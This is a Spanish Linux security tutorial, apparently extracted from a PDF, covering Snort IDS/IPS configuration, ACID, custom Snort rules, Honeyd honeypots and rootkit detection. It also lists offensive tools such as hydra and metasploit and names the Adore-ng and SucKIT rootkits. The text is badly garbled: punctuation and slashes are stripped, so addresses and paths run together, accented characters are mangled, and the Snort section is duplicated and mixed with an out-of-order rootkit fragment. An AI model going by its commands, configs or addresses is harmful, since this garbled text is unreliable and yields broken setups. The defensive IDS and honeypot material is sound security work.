Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
